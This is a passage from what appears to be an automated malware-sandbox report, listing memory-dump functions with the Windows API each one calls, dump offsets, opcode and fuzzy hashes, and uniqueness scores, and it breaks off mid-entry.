GetDriveTypeW.KERNEL32(?,DCBDC399,00000000,?,?,?,?,?,?,?,?,73F33C58), ref: 02890FB0

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: DriveType
String ID:
API String ID: 338552980-0
Opcode ID: 7214ddcbbbc12ddcdc5f09fa6b07be1ae385ea88fd43ddb7455864c12d8e47ee
Instruction ID: 4c49d149f65c57a4c90d37654506795c67cd8b6f0ca8c497a0eb9cd8f988fead
Opcode Fuzzy Hash: 7214ddcbbbc12ddcdc5f09fa6b07be1ae385ea88fd43ddb7455864c12d8e47ee
Instruction Fuzzy Hash: 75216D7550D7C09FDB12CB25DC55B92BFB8AF07224F0D84DAE888CF693D2659908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 02892536, Relevance: 1.6, APIs: 1, Instructions: 67fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNELBASE ref: 028925AA

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: ddd5a38aeaa52de090c75e95e0ea04857c4d700f072cb6977d3001b73e1f81c0
Instruction ID: 12be2bcb63888359b65ffe04f566e80c31c49bcf003bb049a999dabf90b72e34
Opcode Fuzzy Hash: ddd5a38aeaa52de090c75e95e0ea04857c4d700f072cb6977d3001b73e1f81c0
Instruction Fuzzy Hash: BB219A76500704EFEB21DF55DC85FA6FBE8EF08320F04845AE9898B242D771A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 02891E5A, Relevance: 1.6, APIs: 1, Instructions: 67networkCOMMON

Download Yara Rule

APIs

WSASocketW.WS2_32 ref: 02891EC6

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: Socket
String ID:
API String ID: 38366605-0
Opcode ID: b65a924616af7a58fccf0a68255e4458617fc8c3f435791352f95393b5619203
Instruction ID: cfe4484a7a1cc3332463ba76f9bcc35ae4c12686641bc02a31d1f514f1cc2d2c
Opcode Fuzzy Hash: b65a924616af7a58fccf0a68255e4458617fc8c3f435791352f95393b5619203
Instruction Fuzzy Hash: 5F21AE75504704EFEB21DF51DC49BAAFBE8EF08320F08846EE9498A652D771A504CB62

Uniqueness

Uniqueness Score: -1.00%

Function 01CEB04A, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000E9C,DCBDC399,00000000,00000000,00000000,00000000), ref: 01CEB0AE

Memory Dump Source

Source File: 00000021.00000002.2328784089.0000000001CEA000.00000040.00000001.sdmp, Offset: 01CEA000, based on PE: false

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: d73c2d48707fe58f220a8a955572cddceffa8691b54b530c37633a8dc2ba53f3
Instruction ID: d3a964071b0df5e3f0017ca127292ba9e8db6406ef5162328a8dc767b321e2f8
Opcode Fuzzy Hash: d73c2d48707fe58f220a8a955572cddceffa8691b54b530c37633a8dc2ba53f3
Instruction Fuzzy Hash: 041181B5600300EFEB21CF15DC85FA6FBE8EF04660F14846AED09CB241D674E9048BB1

Uniqueness

Uniqueness Score: -1.00%

Function 02892F8A, Relevance: 1.6, APIs: 1, Instructions: 66registryCOMMON

Download Yara Rule

APIs

RegOpenCurrentUser.KERNEL32(?,00000E9C), ref: 02892FED

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: CurrentOpenUser
String ID:
API String ID: 1571386571-0
Opcode ID: 82f77641caa2d75fabcd0de0453a6c6591879af36d5a1926c1e6bb07abd5840f
Instruction ID: 9ef96a51df6f682ace56a3eaa4e47cb3002deb978979e718f3a2322afa63471a
Opcode Fuzzy Hash: 82f77641caa2d75fabcd0de0453a6c6591879af36d5a1926c1e6bb07abd5840f
Instruction Fuzzy Hash: B311D375500304EFFB20DF11DC45FAAFB98EF04260F08849AED08DA142D674A9058A61

Uniqueness

Uniqueness Score: -1.00%

Function 02891226, Relevance: 1.6, APIs: 1, Instructions: 66libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,00000E9C), ref: 028912AF

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: a3d75d67d8dea8a280b7f4dc66dd77027ddb37c9f14822026d6a6f4363ac825c
Instruction ID: 266ce29c70761cdfe0955090f02191ee3f5d1dea891cc7926e58aa05b8e58ef2
Opcode Fuzzy Hash: a3d75d67d8dea8a280b7f4dc66dd77027ddb37c9f14822026d6a6f4363ac825c
Instruction Fuzzy Hash: 82110375504340AFE721CF11DC85FA2FFA8EF45720F18809AFD489B192D2B9A948CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01CEAAAB, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 01CEAB1A

Memory Dump Source

Source File: 00000021.00000002.2328784089.0000000001CEA000.00000040.00000001.sdmp, Offset: 01CEA000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: d833e93f412e45b564c725c55a8f8f75f63dd850718f4877277a7333f24ccf28
Instruction ID: a9f696f0f2e24b2c8168183f86fd1b3ff3ca723569238f1852599138e4067e40
Opcode Fuzzy Hash: d833e93f412e45b564c725c55a8f8f75f63dd850718f4877277a7333f24ccf28
Instruction Fuzzy Hash: 5D2172B16053809FEB22CF29DC45B52BFE8EF46220F0884AAED49CB652D275E404CB71

Uniqueness

Uniqueness Score: -1.00%

Function 01CEBABE, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetConsoleScreenBufferInfo.KERNEL32 ref: 01CEBB2F

Memory Dump Source

Source File: 00000021.00000002.2328784089.0000000001CEA000.00000040.00000001.sdmp, Offset: 01CEA000, based on PE: false

Similarity

API ID: BufferConsoleInfoScreen
String ID:
API String ID: 3437242342-0
Opcode ID: dea735702aab71485eb4297fb746499f3ab301796c637c9585280a9c7eeb8733
Instruction ID: 26c924c00e96acdcfca92a40e429dc8d37da9097b7abb7ab4ca5ae684433669b
Opcode Fuzzy Hash: dea735702aab71485eb4297fb746499f3ab301796c637c9585280a9c7eeb8733
Instruction Fuzzy Hash: A0216F765093C09FEB128B25DC55B92BFE4EF07220F0984DADD858F263D264A948DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0289318E, Relevance: 1.6, APIs: 1, Instructions: 65registryCOMMON

Download Yara Rule

APIs

RegNotifyChangeKeyValue.KERNEL32(?,00000E9C,DCBDC399,00000000,00000000,00000000,00000000), ref: 028931F8

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: ChangeNotifyValue
String ID:
API String ID: 3933585183-0
Opcode ID: f426db6edabd7b7043af87fc49f469c592d393dabe4908f18e6e08902953b603
Instruction ID: aea7bc7b83a90e0932cc9a1711aa82ca0d1f4e3b98fd271810b97f03f1a9c4af
Opcode Fuzzy Hash: f426db6edabd7b7043af87fc49f469c592d393dabe4908f18e6e08902953b603
Instruction Fuzzy Hash: A511AC7A400344EFEB21CF91CC85FA6FBACEF04620F0489AAF909DA141D630A5058BB1

Uniqueness

Uniqueness Score: -1.00%

Function 028910D4, Relevance: 1.6, APIs: 1, Instructions: 65threadCOMMON

Download Yara Rule

APIs

SetThreadUILanguage.KERNEL32(?), ref: 02891148

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: LanguageThread
String ID:
API String ID: 243849632-0
Opcode ID: 4fb77e1a8524985d5b2cf82bca9e5af7162cf859a2c775828309b605ab43da63
Instruction ID: a630329a305a7fa99aad7d1ceeee37d4d5a772ba6556ad70b532dcbc32c58dce
Opcode Fuzzy Hash: 4fb77e1a8524985d5b2cf82bca9e5af7162cf859a2c775828309b605ab43da63
Instruction Fuzzy Hash: 65215B7540D3C0AFD7138B259C54A62BFB4EF57620F0D80DBD8898F2A3D2699809D7B2

Uniqueness

Uniqueness Score: -1.00%

Function 028929B2, Relevance: 1.6, APIs: 1, Instructions: 64timeCOMMON

Download Yara Rule

APIs

GetProcessTimes.KERNEL32(?,00000E9C,DCBDC399,00000000,00000000,00000000,00000000), ref: 02892A11

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: ProcessTimes
String ID:
API String ID: 1995159646-0
Opcode ID: b66d1b627347371c3f931ee4dbcb972fbbd0c1c35b3ece65d9b61e3788f6ddf9
Instruction ID: 813679526af2f51e8d009144249c64bb9f07974ecb4568d54e8c294f5d830376
Opcode Fuzzy Hash: b66d1b627347371c3f931ee4dbcb972fbbd0c1c35b3ece65d9b61e3788f6ddf9
Instruction Fuzzy Hash: EB119D7A500704EFFB219F55DC85FAAFBE8EF04720F08846AED09CA245D670A915CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 02894A2C, Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 02894A98

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: ConsoleWrite
String ID:
API String ID: 2657657451-0
Opcode ID: bf1c499f652291ea23ce741f282f96ba8245642f16b8bb29c5849d14b3a58987
Instruction ID: f53bf4bfe02ae0a7decc913c6241989288960dbe7bf0fc2e95785727b1637eab
Opcode Fuzzy Hash: bf1c499f652291ea23ce741f282f96ba8245642f16b8bb29c5849d14b3a58987
Instruction Fuzzy Hash: 3321C3755083809FDB218F25DC45B96FFF8EF06220F0984AAED89CB662D335E419DB61

Uniqueness

Uniqueness Score: -1.00%

Function 02893660, Relevance: 1.6, APIs: 1, Instructions: 64networkCOMMON

Download Yara Rule

APIs

GetNetworkParams.IPHLPAPI(?,00000E9C,DCBDC399,00000000,00000000,00000000,00000000), ref: 028936D8

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: NetworkParams
String ID:
API String ID: 2134775280-0
Opcode ID: c3388d9d235e753e57949baa09f206bc59fd0b38d18d0f3da096b4a533e19f23
Instruction ID: e23c7c6a6e98e64b4619df0544f622f7e0bc8971dc31b30afa0a33ab46701724
Opcode Fuzzy Hash: c3388d9d235e753e57949baa09f206bc59fd0b38d18d0f3da096b4a533e19f23
Instruction Fuzzy Hash: 7711D375509384AFEB21CF11CC45F56FFA8EF45320F0880DAF9499B192C264A908CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01CEAF62, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000E9C,DCBDC399,00000000,00000000,00000000,00000000), ref: 01CEAFBE

Memory Dump Source

Source File: 00000021.00000002.2328784089.0000000001CEA000.00000040.00000001.sdmp, Offset: 01CEA000, based on PE: false

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: 90872d49b97c289f23e7218aa224fa20b823e287a7002ffb62d9307fe6236262
Instruction ID: c6e93c9f0ce7b449d1903cf3f9a3285efe2e34ee46fd6f713efb347fcfeb1e59
Opcode Fuzzy Hash: 90872d49b97c289f23e7218aa224fa20b823e287a7002ffb62d9307fe6236262
Instruction Fuzzy Hash: 131194B1500700EFEB21DF55DC45BAAFBE8EF44720F14846AED49DB181D675E9048BB1

Uniqueness

Uniqueness Score: -1.00%

Function 02890886, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,00000E9C,DCBDC399,00000000,00000000,00000000,00000000), ref: 028908E5

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 3339b11556f11f6321a56a0cd721b81b0cedfc466956cd0cf495f33c3bd20a3b
Instruction ID: 51f2153d95dcb6ee48e1e234fc208ec6b09d6344743779ab9066c8ffe0e7d89a
Opcode Fuzzy Hash: 3339b11556f11f6321a56a0cd721b81b0cedfc466956cd0cf495f33c3bd20a3b
Instruction Fuzzy Hash: 6B110E7A000304EFFB21CF50DC80FA6FBA8EF04320F08846AED09DA241C670A904CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 01CEBA10, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,?,?,?,?), ref: 01CEBA7E

Memory Dump Source

Source File: 00000021.00000002.2328784089.0000000001CEA000.00000040.00000001.sdmp, Offset: 01CEA000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 9d5a103d31ea1501a3dce6585ae3da37ad1058fef7be2fead92db7eeaf61e6ff
Instruction ID: 740a13c7360e5b5a899a0e17fc27617e04ecc4809d6e952657d06589d7ee7210
Opcode Fuzzy Hash: 9d5a103d31ea1501a3dce6585ae3da37ad1058fef7be2fead92db7eeaf61e6ff
Instruction Fuzzy Hash: 5E11A271504380AFDB22CF65CC85B62FFF4EF05220F09849EE9898B662D375E418CB61

Uniqueness

Uniqueness Score: -1.00%

Function 028947FA, Relevance: 1.6, APIs: 1, Instructions: 59encryptionCOMMON

Download Yara Rule

APIs

CertVerifyCertificateChainPolicy.CRYPT32(?,00000E9C,DCBDC399,00000000,00000000,00000000,00000000), ref: 02894856

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: CertCertificateChainPolicyVerify
String ID:
API String ID: 3930008701-0
Opcode ID: 64d819c5ebbba7ce8fc14586e025b45ffce25511d417fc45c18bcb91371d0160
Instruction ID: 4390a320be46f32644942d743a0cdaddb4a3948b8a5e5f9d7bd3cbf2e3020902
Opcode Fuzzy Hash: 64d819c5ebbba7ce8fc14586e025b45ffce25511d417fc45c18bcb91371d0160
Instruction Fuzzy Hash: BA11E379500744EFEB20DF10DC45FA6FBA8EF04720F1888AAED499A241D770A505CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 02893AFA, Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetAdaptersAddresses.IPHLPAPI(?,00000E9C,DCBDC399,00000000,00000000,00000000,00000000), ref: 02893B59

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: AdaptersAddresses
String ID:
API String ID: 2506852604-0
Opcode ID: bba9f5f634fa946625a27c89880665f0001d755aa5a409dc815aff19412f74d6
Instruction ID: eef87bdaff0f13de1076abaf7c73a3abe77b41fc025ee88359c225547ef479db
Opcode Fuzzy Hash: bba9f5f634fa946625a27c89880665f0001d755aa5a409dc815aff19412f74d6
Instruction Fuzzy Hash: A411C279100704EFFB219F01DC45F66FBA8EF04724F08859AFD499A251D670A905CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 02891246, Relevance: 1.6, APIs: 1, Instructions: 56libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,00000E9C), ref: 028912AF

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ecb6ce6784e749066fde5a3a612e929bafec2ac021d9f55795d392bd2561edae
Instruction ID: 4d319e3848a9ef019f537b8fa7c48a9100c5dfb6c302d5674ef5e180a4c8b699
Opcode Fuzzy Hash: ecb6ce6784e749066fde5a3a612e929bafec2ac021d9f55795d392bd2561edae
Instruction Fuzzy Hash: F1114439604304EFFB20EF01DC85FB6FB98DF04720F18809AFD0C9A281D6B4AA04CA61

Uniqueness

Uniqueness Score: -1.00%

Function 01CEA33C, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

WerSetFlags.KERNEL32 ref: 01CEA39C

Memory Dump Source

Source File: 00000021.00000002.2328784089.0000000001CEA000.00000040.00000001.sdmp, Offset: 01CEA000, based on PE: false

Similarity

API ID: Flags
String ID:
API String ID: 3401871038-0
Opcode ID: 2fc017617a689c6c41938f2a455c25dfb06238a6b550b01df637b8bfb3552177
Instruction ID: c7a82ef61fb1302d9d33a3dfa87b342e2002d8166e69f480510de376b7a7a42a
Opcode Fuzzy Hash: 2fc017617a689c6c41938f2a455c25dfb06238a6b550b01df637b8bfb3552177
Instruction Fuzzy Hash: D71191714093C0AFEB128B15DC54B62BFB4DF47624F0980CAEDC54F263D265A908DB72

Uniqueness

Uniqueness Score: -1.00%

Function 02892EBE, Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

RasConnectionNotificationA.RASAPI32(?,00000E9C,DCBDC399,00000000,00000000,00000000,00000000), ref: 02892F17

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: ConnectionNotification
String ID:
API String ID: 1402429939-0
Opcode ID: 2e10f7129f5d9484f9cd4259c5a4797eeab94fea58b3bcc8265e81526c73b59b
Instruction ID: 8ecae193fb8af8e27417a0c4c4a4ef607f1dfd291ee490f35c6e818aac86acb7
Opcode Fuzzy Hash: 2e10f7129f5d9484f9cd4259c5a4797eeab94fea58b3bcc8265e81526c73b59b
Instruction Fuzzy Hash: CF110079100704EFFB209F11DC85F66FBA8EF04720F08809AFD099B645D770A904CAB2

Uniqueness

Uniqueness Score: -1.00%

Function 028905E8, Relevance: 1.6, APIs: 1, Instructions: 54fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNEL32(?,DCBDC399,00000000,?,?,?,?,?,?,?,?,73F33C58), ref: 02890640

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: FileUnmapView
String ID:
API String ID: 2564024751-0
Opcode ID: 5eb5b1e3cfbd12033751c9922add933656ff94b8c1864b0d1ee87d57c1116394
Instruction ID: ea36d655311df1aaf735f30e40026d954ea9ac3e09d29fbedd02015da52355e3
Opcode Fuzzy Hash: 5eb5b1e3cfbd12033751c9922add933656ff94b8c1864b0d1ee87d57c1116394
Instruction Fuzzy Hash: B01102B55093C09FDB128F15DC44B52FFB4EF02220F0880DBEC898B263D275A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0289117C, Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

CoGetObjectContext.OLE32(?,?), ref: 028911E3

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: ContextObject
String ID:
API String ID: 3343934925-0
Opcode ID: 85e6dcb59b943fa2b39774c0e58874e03d9671eabac76d2f6561a11feeeb6bda
Instruction ID: 8c18edeeb1d37f0f841a21e70e1823cfcaebad853f2bf24a1351ca2e4b44697e
Opcode Fuzzy Hash: 85e6dcb59b943fa2b39774c0e58874e03d9671eabac76d2f6561a11feeeb6bda
Instruction Fuzzy Hash: 0B1190754093849FD7128F15DC45B51FFB4EF06224F0980DBDD898F163D275A849CB61

Uniqueness

Uniqueness Score: -1.00%

Function 02893682, Relevance: 1.6, APIs: 1, Instructions: 53networkCOMMON

Download Yara Rule

APIs

GetNetworkParams.IPHLPAPI(?,00000E9C,DCBDC399,00000000,00000000,00000000,00000000), ref: 028936D8

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: NetworkParams
String ID:
API String ID: 2134775280-0
Opcode ID: 1a9a5159161b0d4cc0a4a792b77b1a21c58c42780ad252c4479b1396023448e9
Instruction ID: 723da749924514abc658e82eae75fc664926ab9824617e94fd1e8016869533b1
Opcode Fuzzy Hash: 1a9a5159161b0d4cc0a4a792b77b1a21c58c42780ad252c4479b1396023448e9
Instruction Fuzzy Hash: BA01D279500304EFFF219F01DC85F66FB98EF04720F18809AED099B242D675A905CAB1

Uniqueness

Uniqueness Score: -1.00%

Function 0289092F, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,DCBDC399,00000000,?,?,?,?,?,?,?,?,73F33C58), ref: 0289099C

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 44116ff4a600098ae44b7edf39f494a5b3e616f0a4e2a7badd40f5cff714a56e
Instruction ID: 08d3e63f55869b1959cefc938d8e0f967c2546b7745c05a24c278dd006430619
Opcode Fuzzy Hash: 44116ff4a600098ae44b7edf39f494a5b3e616f0a4e2a7badd40f5cff714a56e
Instruction Fuzzy Hash: 1F1190754093C09FEB128B25DC55B92BFA4EF07324F0980DAD9888B163D265A909CB62

Uniqueness

Uniqueness Score: -1.00%

Function 01CEAAD2, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 01CEAB1A

Memory Dump Source

Source File: 00000021.00000002.2328784089.0000000001CEA000.00000040.00000001.sdmp, Offset: 01CEA000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: ab9316c8c9c94fd079af2270205d2396eca0319ca102d8fe7e633b81d5f8eb0a
Instruction ID: 6a89c11f1ef641ebe3da688cd19aa94e3acbb6a3bc9469a939819e20d08f19de
Opcode Fuzzy Hash: ab9316c8c9c94fd079af2270205d2396eca0319ca102d8fe7e633b81d5f8eb0a
Instruction Fuzzy Hash: 60115EB6600300DFEB20DF2ADC89B56FBD8EB14621F0884AADD09CB642D674E504CA71

Uniqueness

Uniqueness Score: -1.00%

Function 01CEAA0F, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 01CEAA71

Memory Dump Source

Source File: 00000021.00000002.2328784089.0000000001CEA000.00000040.00000001.sdmp, Offset: 01CEA000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: fcf23174c85b628ef1d483841b1727e563b5b520d348e9e7de15fbad35e79580
Instruction ID: 87ec4b97386a5401067437cbca861a6242c4fc63700a927bcf0350c2688d795d
Opcode Fuzzy Hash: fcf23174c85b628ef1d483841b1727e563b5b520d348e9e7de15fbad35e79580
Instruction Fuzzy Hash: D311A37540D7C09FD7128B15DC85B92BFB4EF07224F0A80DBDD858F163D269A909DB62

Uniqueness

Uniqueness Score: -1.00%

Function 028907C6, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,00000E9C,DCBDC399,00000000,00000000,00000000,00000000), ref: 02890819

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: aab426ba58088dfb5ca01ed1e1d4112c19df37f2e006cc8485f85a39128e2221
Instruction ID: 68cbd381bb7f0d7e619111341f104fa32d4254681ad85fb2ae33d579d928af60
Opcode Fuzzy Hash: aab426ba58088dfb5ca01ed1e1d4112c19df37f2e006cc8485f85a39128e2221
Instruction Fuzzy Hash: 95019279600704EFFB20DF15DC85FA6FB98DF44721F18C096ED099B241D674A905CAB2

Uniqueness

Uniqueness Score: -1.00%

Function 02894A52, Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 02894A98

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: ConsoleWrite
String ID:
API String ID: 2657657451-0
Opcode ID: 64c801f340856668effcf2d0f0ddf77c24445ad116fad6ad61c4708e4b11e17e
Instruction ID: ec9c9ef60888756d3930ecde7c907e5ce0a4d504c22bce73894c36959a463b27
Opcode Fuzzy Hash: 64c801f340856668effcf2d0f0ddf77c24445ad116fad6ad61c4708e4b11e17e
Instruction Fuzzy Hash: C2118B7A500700DFEF208F15DC85B66FBE8EF04220F0884AAED49CB652D771E429DB61

Uniqueness

Uniqueness Score: -1.00%

Function 01CEAB75, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 01CEABC9

Memory Dump Source

Source File: 00000021.00000002.2328784089.0000000001CEA000.00000040.00000001.sdmp, Offset: 01CEA000, based on PE: false

Similarity

API ID: DrivesLogical
String ID:
API String ID: 999431828-0
Opcode ID: c417c9119cb8419bbabc1499c5e82e9047e749a74e62cd99ef88a115f4f14468
Instruction ID: 574ba484e073eb463dd861e1290d40dcce701889e785197e7093ed27f7c3a922
Opcode Fuzzy Hash: c417c9119cb8419bbabc1499c5e82e9047e749a74e62cd99ef88a115f4f14468
Instruction Fuzzy Hash: 0F11C2B54093809FDB11CF55DC89B92BFA4EF02220F0A84ABDD488F153D275E508CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01CEBA32, Relevance: 1.5, APIs: 1, Instructions: 49fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,?,?,?,?), ref: 01CEBA7E

Memory Dump Source

Source File: 00000021.00000002.2328784089.0000000001CEA000.00000040.00000001.sdmp, Offset: 01CEA000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 6b886a4e270e688075bf9e6ec9bee48c5688355d9a3967e40f2b8655ccad605b
Instruction ID: 8bb1b4713ca6044707311f179646482690a2646a3c7b2239528ddbd24bd4937d
Opcode Fuzzy Hash: 6b886a4e270e688075bf9e6ec9bee48c5688355d9a3967e40f2b8655ccad605b
Instruction Fuzzy Hash: F9115E72500704DFEF21CF55DC89B62FBE4EF08621F0885AADE498A612D771E514DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02890196, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

SetConsoleTitleW.KERNEL32(?), ref: 028901D0

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: ConsoleTitle
String ID:
API String ID: 3358957663-0
Opcode ID: 2cb657f0b55e74ead2314b7460b1c3436a98c7b86bd4a231c9db927117ffdba0
Instruction ID: 260b34429434339b2bb2cc7fc44c7ed8898b06a93c6d96810b4adcf8bddb84bf
Opcode Fuzzy Hash: 2cb657f0b55e74ead2314b7460b1c3436a98c7b86bd4a231c9db927117ffdba0
Instruction Fuzzy Hash: DD019E79604304CFEB10DF66DC85766FBA8EB00225F0884AADC09CB642D774E404CA61

Uniqueness

Uniqueness Score: -1.00%

Function 0289104E, Relevance: 1.5, APIs: 1, Instructions: 47encryptionCOMMON

Download Yara Rule

APIs

CertGetCertificateChain.CRYPT32(?,00000E9C,?,?), ref: 0289109E

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: CertCertificateChain
String ID:
API String ID: 3019455780-0
Opcode ID: e977343b9557d5d9d67ed581b3a0379d76b449178ee556651976fd6aa433f24f
Instruction ID: dd9c742e0d1e0cc503b7cf87faf0bc374c281d5e31d91204a3cdc8ec6ee52dba
Opcode Fuzzy Hash: e977343b9557d5d9d67ed581b3a0379d76b449178ee556651976fd6aa433f24f
Instruction Fuzzy Hash: B3017171900600AFE310DF16DC46B66FBA8FB88A20F14816AED099B741E635F515CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 01CEA1EE, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

SetConsoleCtrlHandler.KERNEL32(?,00000E9C,?,?), ref: 01CEA23E

Memory Dump Source

Source File: 00000021.00000002.2328784089.0000000001CEA000.00000040.00000001.sdmp, Offset: 01CEA000, based on PE: false

Similarity

API ID: ConsoleCtrlHandler
String ID:
API String ID: 1513847179-0
Opcode ID: 497cbf9aa74d5b72111dd755c0b5f12abaaaad185ac161ed93e2859bc33dee74
Instruction ID: 4fea12a6b1cb4232344df4f8dfdc49acd4aa361a0a84eade7670c46a2d9a15d0
Opcode Fuzzy Hash: 497cbf9aa74d5b72111dd755c0b5f12abaaaad185ac161ed93e2859bc33dee74
Instruction Fuzzy Hash: 26018471900700AFE710DF16DC46B76FBA8FB88A20F14816AED089B741E635F515CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 01CEBAFA, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetConsoleScreenBufferInfo.KERNEL32 ref: 01CEBB2F

Memory Dump Source

Source File: 00000021.00000002.2328784089.0000000001CEA000.00000040.00000001.sdmp, Offset: 01CEA000, based on PE: false

Similarity

API ID: BufferConsoleInfoScreen
String ID:
API String ID: 3437242342-0
Opcode ID: 421a127224808dd1912dc04363a5ed43b6f112b56da2d9da9be765caf3be88de
